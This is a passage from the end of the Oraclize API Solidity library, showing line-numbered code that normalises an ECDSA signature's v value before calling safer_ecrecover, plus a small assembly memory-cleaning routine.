1306 | Alternative solution: 1307 | 'byte' is not working due to the Solidity parser, so lets 1308 | use the second best option, 'and' 1309 | v := and(mload(add(_sig, 65)), 255) 1310 | */ 1311 | } 1312 | /* 1313 | albeit non-transactional signatures are not specified by the YP, one would expect it 1314 | to match the YP range of [27, 28] 1315 | geth uses [0, 1] and some clients have followed. This might change, see: 1316 | https://github.com/ethereum/go-ethereum/issues/2053 1317 | */ 1318 | if (v < 27) { 1319 | v += 27; 1320 | } 1321 | if (v != 27 && v != 28) { 1322 | return (false, address(0)); 1323 | } 1324 | return safer_ecrecover(_hash, v, r, s); 1325 | } 1326 | 1327 | function safeMemoryCleaner() internal pure { 1328 | assembly { 1329 | let fmem := mload(0x40) 1330 | codecopy(fmem, codesize, sub(msize, fmem)) 1331 | } 1332 | } 1333 | } 1334 | /* 1335 | 1336 | END ORACLIZE_API 1337 | 1338 | */ --------------------------------------------------------------------------------